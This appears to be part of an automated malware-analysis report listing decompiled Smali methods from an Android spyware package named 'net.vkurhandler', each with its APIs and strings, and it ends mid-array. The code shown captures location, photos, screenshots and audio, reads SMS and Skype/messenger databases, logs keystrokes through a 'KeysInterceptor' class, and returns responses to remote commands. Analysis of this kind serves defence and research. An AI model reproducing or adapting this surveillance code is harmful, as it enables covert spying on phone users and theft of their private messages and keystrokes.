                    44invoke-static {v0}, Lcom/a/a/a/q;->a(Ljava/lang/String;)[B
                    45move-result-object v0
                    46sput-object v0, Lcom/a/a/a/q;->i:[B
                    48const-string v0, "_elapsed"
                    50invoke-static {v0}, Lcom/a/a/a/q;->a(Ljava/lang/String;)[B
                    51move-result-object v0
                    52sput-object v0, Lcom/a/a/a/q;->j:[B
                    53new-instance v0, Lorg/apache/http/message/BasicHeader;
                    55const-string v1, "Content-Type"
                    57const-string v2, "application/json"
                    59invoke-direct {v0, v1, v2}, Lorg/apache/http/message/BasicHeader;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    60sput-object v0, Lcom/a/a/a/q;->k:Lorg/apache/http/Header;
                    61new-instance v0, Lorg/apache/http/message/BasicHeader;
                    63const-string v1, "Content-Encoding"
                    65const-string v2, "gzip"
                    67invoke-direct {v0, v1, v2}, Lorg/apache/http/message/BasicHeader;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    68sput-object v0, Lcom/a/a/a/q;->l:Lorg/apache/http/Header;
                    69return-void
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • android.content.Intent.getBooleanExtra
                    • android.content.Intent.getLongExtra
                    Strings
                    • LocationNotifier
                    • onReceive
                    • type
                    • sub_type
                    • date
                    • bat_level
                    • charger
                    • repeating
                    • interval_in_ms
                    • repeating interval is 0
                    Position Instruction Meta Information
                    0const-wide/16 v4, 0x0
                    2invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    3move-result v0
                    4if-eqz v0, :cond_f
                    6const-string v0, "LocationNotifier"
                    8const-string v1, "onReceive"
                    10invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    11cond_f: sget-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    12if-nez v0, :cond_51
                    14invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    15move-result-object v0
                    17const-string v1, "type"
                    18const/4 v2, 0x1
                    20invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    22const-string v1, "sub_type"
                    23const/4 v2, 0x1
                    25invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    27const-string v1, "date"
                    29invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    30move-result-object v2
                    32invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    34const-string v1, "bat_level"
                    36invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    37move-result-object v2
                    39invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    40move-result-object v2
                    42invoke-virtual {v2}, Lnet/vkurhandler/ce;->a()I
                    43move-result v2
                    45invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    47const-string v1, "charger"
                    49invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    50move-result-object v2
                    52invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    53move-result-object v2
                    55invoke-virtual {v2}, Lnet/vkurhandler/ce;->b()Z
                    56move-result v2
                    58invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    60invoke-static {p1, v0}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    61cond_51:
                    62const-string v0, "repeating"
                    63const/4 v1, 0x0
                    65invoke-virtual {p2, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    66move-result v0
                    67if-eqz v0, :cond_6b
                    69const-string v0, "interval_in_ms"
                    70const-wide/16 v2, 0x0
                    72invoke-virtual {p2, v0, v2, v3}, Landroid/content/Intent;->getLongExtra(Ljava/lang/String;J)J
                    73move-result-wide v0
                    74cmp-long v2, v0, v4
                    75if-lez v2, :cond_6c
                    76const-class v2, Lnet/vkurhandler/LocationNotifier;
                    78invoke-static {p1, v2, v0, v1}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/Class;J)V
                    79goto_6b: return-void
                    80cond_6c:
                    81invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    82move-result v0
                    83if-eqz v0, :cond_6b
                    85const-string v0, "LocationNotifier"
                    87const-string v1, "repeating interval is 0"
                    89invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    90try_end_79: goto/16 :goto_6b
                    91catch_7a: move-exception v0
                    93const-string v1, "LocationNotifier"
                    95invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    96goto/16 :goto_6b
                    APIs
                    • java.io.FileOutputStream.<init>
                    • java.io.FileOutputStream.write
                    • java.io.FileOutputStream.close
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    Strings
                    • type
                    • sub_type
                    • date
                    • file_ext
                    • .jpg
                    • file_name
                    • absolute_file_path
                    • Photographer
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    2move-result-object v0
                    3new-instance v1, Ljava/io/FileOutputStream;
                    5invoke-direct {v1, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    7invoke-virtual {v1, p1}, Ljava/io/FileOutputStream;->write([B)V
                    9invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
                    11invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    12move-result-object v1
                    14const-string v2, "type"
                    15const/4 v3, 0x2
                    17invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    19const-string v2, "sub_type"
                    20iget v3, p0, Lnet/vkurhandler/cz;->e:I
                    22invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    24const-string v2, "date"
                    26invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    27move-result-object v3
                    29invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    31const-string v2, "file_ext"
                    33const-string v3, ".jpg"
                    35invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    37const-string v2, "file_name"
                    39invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    40move-result-object v3
                    42invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    44const-string v2, "absolute_file_path"
                    46invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    47move-result-object v0
                    49invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    51iget-object v0, p0, Lnet/vkurhandler/cz;->d:Landroid/content/Context;
                    53invoke-static {v0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    54try_end_47: return-void
                    55catch_48: move-exception v0
                    57const-string v1, "Photographer"
                    59invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    60goto/16 :goto_47
                    Cross References
                    APIs
                    • java.io.FileOutputStream.<init>
                    • java.io.FileOutputStream.write
                    • java.io.FileOutputStream.close
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    Strings
                    • type
                    • sub_type
                    • date
                    • file_ext
                    • .jpg
                    • file_name
                    • absolute_file_path
                    • TakePicture3
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    2move-result-object v0
                    3new-instance v1, Ljava/io/FileOutputStream;
                    5invoke-direct {v1, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    7invoke-virtual {v1, p1}, Ljava/io/FileOutputStream;->write([B)V
                    9invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
                    11invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    12move-result-object v1
                    14const-string v2, "type"
                    15const/4 v3, 0x2
                    17invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    19const-string v2, "sub_type"
                    20iget v3, p0, Lnet/vkurhandler/gc;->d:I
                    22invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    24const-string v2, "date"
                    26invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    27move-result-object v3
                    29invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    31const-string v2, "file_ext"
                    33const-string v3, ".jpg"
                    35invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    37const-string v2, "file_name"
                    39invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    40move-result-object v3
                    42invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    44const-string v2, "absolute_file_path"
                    46invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    47move-result-object v0
                    49invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    51iget-object v0, p0, Lnet/vkurhandler/gc;->b:Landroid/content/Context;
                    53invoke-static {v0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    54try_end_47: return-void
                    55catch_48: move-exception v0
                    57const-string v1, "TakePicture3"
                    59invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    60goto/16 :goto_47
                    APIs
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    Strings
                    • type
                    • sub_type
                    • date
                    • app_name
                    • pkg_name
                    • file_ext
                    • .png
                    • file_name
                    • absolute_file_path
                    • ScreenService
                    Position Instruction Meta Information
                    0try_start_0:
                    1iget-object v0, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    3invoke-static {v0}, Lnet/vkurhandler/eg;->a(Lnet/vkurhandler/eg;)Ljava/lang/String;
                    4move-result-object v0
                    6iget-object v1, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    8invoke-static {v1}, Lnet/vkurhandler/eg;->b(Lnet/vkurhandler/eg;)Z
                    9move-result v1
                    10if-nez v1, :cond_1e
                    12iget-object v0, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    14invoke-static {v0}, Lnet/vkurhandler/eg;->c(Lnet/vkurhandler/eg;)Landroid/content/Context;
                    15move-result-object v0
                    17iget-object v1, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    19invoke-static {v1}, Lnet/vkurhandler/eg;->d(Lnet/vkurhandler/eg;)Landroid/app/ActivityManager;
                    20move-result-object v1
                    22invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Landroid/app/ActivityManager;)Ljava/lang/String;
                    23move-result-object v0
                    24cond_1e:
                    25iget-object v1, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    27invoke-static {v1}, Lnet/vkurhandler/eg;->c(Lnet/vkurhandler/eg;)Landroid/content/Context;
                    28move-result-object v1
                    30invoke-static {v1, v0}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    31move-result-object v1
                    33invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    34move-result-object v2
                    36invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    37move-result-object v3
                    39iget-object v4, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    41invoke-static {v4}, Lnet/vkurhandler/eg;->e(Lnet/vkurhandler/eg;)I
                    42move-result v4
                    44iget-object v5, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    46invoke-static {v5}, Lnet/vkurhandler/eg;->f(Lnet/vkurhandler/eg;)Z
                    47move-result v5
                    49invoke-static {v2, v4, v5}, Lnet/vkurhandler/ee;->a(Ljava/io/File;IZ)V
                    51invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    52move-result-object v4
                    54const-string v5, "type"
                    55const/4 v6, 0x2
                    57invoke-virtual {v4, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    59const-string v5, "sub_type"
                    60const/4 v6, 0x3
                    62invoke-virtual {v4, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    64const-string v5, "date"
                    66invoke-virtual {v4, v5, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    68const-string v3, "app_name"
                    70invoke-virtual {v4, v3, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    72const-string v1, "pkg_name"
                    74invoke-virtual {v4, v1, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    76const-string v0, "file_ext"
                    78const-string v1, ".png"
                    80invoke-virtual {v4, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    82const-string v0, "file_name"
                    84invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
                    85move-result-object v1
                    87invoke-virtual {v4, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    89const-string v0, "absolute_file_path"
                    91invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    92move-result-object v1
                    94invoke-virtual {v4, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    96iget-object v0, p0, Lnet/vkurhandler/eh;->a:Lnet/vkurhandler/eg;
                    98invoke-static {v0}, Lnet/vkurhandler/eg;->c(Lnet/vkurhandler/eg;)Landroid/content/Context;
                    99move-result-object v0
                    101invoke-static {v0, v4}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    102goto_80: return-void
                    103catch_81: move-exception v0
                    105const-string v1, "ScreenService"
                    107invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    108goto/16 :goto_80
                    Cross References
                    APIs
                    • android.content.Intent.<init>
                    • net.vkurhandler.gm.toString
                    • android.content.Intent.putExtra
                    • android.content.Context.sendBroadcast
                    • net.vkurhandler.gm.toString
                    • java.lang.Exception.toString
                    Strings
                    • updater_action_finish
                    • updater_extra_result
                    • type
                    • command_id
                    • response
                    • exception
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/gl;->c:Ljava/lang/String;
                    2if-nez v0, :cond_1a
                    3new-instance v0, Landroid/content/Intent;
                    5const-string v1, "updater_action_finish"
                    7invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    9const-string v1, "updater_extra_result"
                    11invoke-virtual {p1}, Lnet/vkurhandler/gm;->toString()Ljava/lang/String;
                    12move-result-object v2
                    14invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                    16iget-object v1, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    18invoke-virtual {v1, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
                    19goto_19: return-void
                    20cond_1a:
                    21invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    22move-result-object v0
                    24const-string v1, "type"
                    25const/4 v2, 0x3
                    27invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    29const-string v1, "command_id"
                    31iget-object v2, p0, Lnet/vkurhandler/gl;->c:Ljava/lang/String;
                    33invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    35const-string v1, "response"
                    37invoke-virtual {p1}, Lnet/vkurhandler/gm;->toString()Ljava/lang/String;
                    38move-result-object v2
                    40invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    41if-eqz p2, :cond_3f
                    43const-string v1, "exception"
                    45invoke-virtual {p2}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                    46move-result-object v2
                    48invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    49cond_3f:
                    50iget-object v1, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    52invoke-static {v1, v0}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    53goto/16 :goto_19
                    Cross References
                    APIs
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.AudiorecordEnvironmentEndDetector.a
                    Strings
                    • audiorecord_type
                    • type
                    • sub_type
                    • date
                    • file_name
                    • absolute_file_path
                    • interval_arecord_in_ms
                    • Audiorecorder
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    2move-result-object v0
                    4invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    5move-result-object v1
                    7const-string v2, "audiorecord_type"
                    8const/4 v3, 0x0
                    10invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    12const-string v2, "type"
                    13const/4 v3, 0x2
                    15invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    17const-string v2, "sub_type"
                    18const/4 v3, 0x1
                    20invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    22const-string v2, "date"
                    24invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    25move-result-object v3
                    27invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    29const-string v2, "file_name"
                    31invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    32move-result-object v3
                    34invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    36const-string v2, "absolute_file_path"
                    38invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    39move-result-object v0
                    41invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    43const-string v0, "interval_arecord_in_ms"
                    45invoke-virtual {v1, v0, p1, p2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    47iget-object v0, p0, Lnet/vkurhandler/v;->e:Landroid/content/Context;
                    49invoke-static {v0, p1, p2}, Lnet/vkurhandler/AudiorecordEnvironmentEndDetector;->a(Landroid/content/Context;J)V
                    51invoke-virtual {p0, v1}, Lnet/vkurhandler/v;->a(Lnet/vkurhandler/be;)V
                    52goto_42: return-void
                    53catch_43: move-exception v0
                    55const-string v1, "Audiorecorder"
                    57invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    58goto/16 :goto_42
                    APIs
                    Strings
                    • address
                    • type
                    • body
                    • date
                    • _id
                    • conversation_id
                    • extra_mime
                    • user_id
                    • send_type
                    • msg_date
                    • display_name
                    • contact_name
                    Position Instruction Meta Information
                    0const/4 v7, 0x4
                    1const/4 v6, 0x3
                    2const/4 v5, 0x2
                    3const/4 v4, 0x1
                    4const/4 v3, 0x0
                    5const/4 v0, 0x7
                    6new-array v0, v0, [Ljava/lang/String;
                    8const-string v1, "address"
                    9aput-object v1, v0, v3
                    11const-string v1, "type"
                    12aput-object v1, v0, v4
                    14const-string v1, "body"
                    15aput-object v1, v0, v5
                    17const-string v1, "date"
                    18aput-object v1, v0, v6
                    20const-string v1, "_id"
                    21aput-object v1, v0, v7
                    22const/4 v1, 0x5
                    24const-string v2, "conversation_id"
                    25aput-object v2, v0, v1
                    26const/4 v1, 0x6
                    28const-string v2, "extra_mime"
                    29aput-object v2, v0, v1
                    30sput-object v0, Lnet/vkurhandler/dq;->k:[Ljava/lang/String;
                    31const/4 v0, 0x7
                    32new-array v0, v0, [Ljava/lang/String;
                    34const-string v1, "user_id"
                    35aput-object v1, v0, v3
                    37const-string v1, "send_type"
                    38aput-object v1, v0, v4
                    40const-string v1, "body"
                    41aput-object v1, v0, v5
                    43const-string v1, "msg_date"
                    44aput-object v1, v0, v6
                    46const-string v1, "_id"
                    47aput-object v1, v0, v7
                    48const/4 v1, 0x5
                    50const-string v2, "conversation_id"
                    51aput-object v2, v0, v1
                    52const/4 v1, 0x6
                    54const-string v2, "extra_mime"
                    55aput-object v2, v0, v1
                    56sput-object v0, Lnet/vkurhandler/dq;->l:[Ljava/lang/String;
                    57new-array v0, v5, [Ljava/lang/String;
                    59const-string v1, "display_name"
                    60aput-object v1, v0, v3
                    62const-string v1, "contact_name"
                    63aput-object v1, v0, v4
                    64sput-object v0, Lnet/vkurhandler/dq;->m:[Ljava/lang/String;
                    65return-void
                    Cross References
                    APIs
                    • java.lang.Exception.toString
                    Strings
                    • type
                    • command_id
                    • command
                    • date
                    • response_transport
                    • response_number
                    • response
                    • response_base64_zipped
                    • exception
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    2move-result-object v0
                    4const-string v1, "type"
                    5const/4 v2, 0x3
                    7invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    9const-string v1, "command_id"
                    11iget-object v2, p0, Lnet/vkurhandler/ah;->e:Ljava/lang/String;
                    13invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    15const-string v1, "command"
                    17iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    19invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    21const-string v1, "date"
                    23invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    24move-result-object v2
                    26invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    28const-string v1, "response_transport"
                    29iget v2, p0, Lnet/vkurhandler/ah;->g:I
                    31invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    33const-string v1, "response_number"
                    35iget-object v2, p0, Lnet/vkurhandler/ah;->h:Ljava/lang/String;
                    37invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    39const-string v1, "response"
                    41iget-object v2, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    43invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    45const-string v1, "response_base64_zipped"
                    46iget-boolean v2, p0, Lnet/vkurhandler/ah;->i:Z
                    48invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    49if-eqz p1, :cond_48
                    51const-string v1, "exception"
                    53invoke-virtual {p1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                    54move-result-object v2
                    56invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    57cond_48:
                    58iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    60invoke-static {v1, v0}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    61return-void
                    APIs
                    • java.util.regex.Pattern.compile
                    Strings
                    • /data/data/com.skype.raider/files/sk.cp
                    • /data/data/com.skype.raider/files/%s/main.db
                    • unknown#1
                    • .*<Default>(.*)</Default>.*
                    • chatname
                    • author
                    • timestamp
                    • body_xml
                    • from_dispname
                    Position Instruction Meta Information
                    1const-string v0, "/data/data/com.skype.raider/files/sk.cp"
                    2sput-object v0, Lnet/vkurhandler/dm;->k:Ljava/lang/String;
                    4const-string v0, "/data/data/com.skype.raider/files/%s/main.db"
                    5sput-object v0, Lnet/vkurhandler/dm;->l:Ljava/lang/String;
                    7const-string v0, "unknown#1"
                    8sput-object v0, Lnet/vkurhandler/dm;->m:Ljava/lang/String;
                    10const-string v0, ".*<Default>(.*)</Default>.*"
                    12invoke-static {v0}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                    13move-result-object v0
                    14sput-object v0, Lnet/vkurhandler/dm;->o:Ljava/util/regex/Pattern;
                    15const/4 v0, 0x5
                    16new-array v0, v0, [Ljava/lang/String;
                    17const/4 v1, 0x0
                    19const-string v2, "chatname"
                    20aput-object v2, v0, v1
                    21const/4 v1, 0x1
                    23const-string v2, "author"
                    24aput-object v2, v0, v1
                    25const/4 v1, 0x2
                    27const-string v2, "timestamp"
                    28aput-object v2, v0, v1
                    29const/4 v1, 0x3
                    31const-string v2, "body_xml"
                    32aput-object v2, v0, v1
                    33const/4 v1, 0x4
                    35const-string v2, "from_dispname"
                    36aput-object v2, v0, v1
                    37sput-object v0, Lnet/vkurhandler/dm;->p:[Ljava/lang/String;
                    38return-void
                    Cross References
                    APIs
                    • net.vkurhandler.KeysInterceptor.getApplicationContext
                    • net.vkurhandler.KeysInterceptor.getApplicationContext
                    Strings
                    • type
                    • sub_type
                    • date
                    • pkg_name
                    • app_name
                    • keys
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    2move-result-object v0
                    4const-string v1, "type"
                    5const/4 v2, 0x1
                    7invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    9const-string v1, "sub_type"
                    10const/16 v2, 0xc
                    12invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    14const-string v1, "date"
                    16invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    17move-result-object v2
                    19invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    21const-string v1, "pkg_name"
                    23invoke-virtual {v0, v1, p1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    25const-string v1, "app_name"
                    27invoke-virtual {p0}, Lnet/vkurhandler/KeysInterceptor;->getApplicationContext()Landroid/content/Context;
                    28move-result-object v2
                    30invoke-static {v2, p1}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    31move-result-object v2
                    33invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    35const-string v1, "keys"
                    37invoke-virtual {v0, v1, p2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    39invoke-virtual {p0}, Lnet/vkurhandler/KeysInterceptor;->getApplicationContext()Landroid/content/Context;
                    40move-result-object v1
                    42invoke-static {v1, v0}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    43return-void
                    Cross References
                    APIs
                    • net.vkurhandler.DirectoryPicker.finish
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • net.vkurhandler.DirectoryPicker.d:Ljava/lang/String
                    • android.content.Intent.putExtra
                    • net.vkurhandler.DirectoryPicker.sendBroadcast
                    Strings
                    • select_folder
                    • dir
                    • type
                    Position Instruction Meta Information
                    1invoke-virtual {p0}, Lnet/vkurhandler/DirectoryPicker;->finish()V
                    2new-instance v0, Landroid/content/Intent;
                    4const-string v1, "select_folder"
                    6invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    8const-string v1, "dir"
                    10invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                    12const-string v1, "type"
                    14iget-object v2, p0, Lnet/vkurhandler/DirectoryPicker;->d:Ljava/lang/String;
                    16invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                    18invoke-virtual {p0, v0}, Lnet/vkurhandler/DirectoryPicker;->sendBroadcast(Landroid/content/Intent;)V
                    19return-void
                    APIs
                    Strings
                    • _id
                    • BUDDY_ID
                    • TEXT
                    • TIMESTAMP
                    • INCOMING
                    • TYPE
                    • SENDER
                    • USER_NAME
                    • NICK_NAME
                    Position Instruction Meta Information
                    0const/4 v6, 0x3
                    1const/4 v5, 0x2
                    2const/4 v4, 0x1
                    3const/4 v3, 0x0
                    4const/4 v0, 0x7
                    5new-array v0, v0, [Ljava/lang/String;
                    7const-string v1, "_id"
                    8aput-object v1, v0, v3
                    10const-string v1, "BUDDY_ID"
                    11aput-object v1, v0, v4
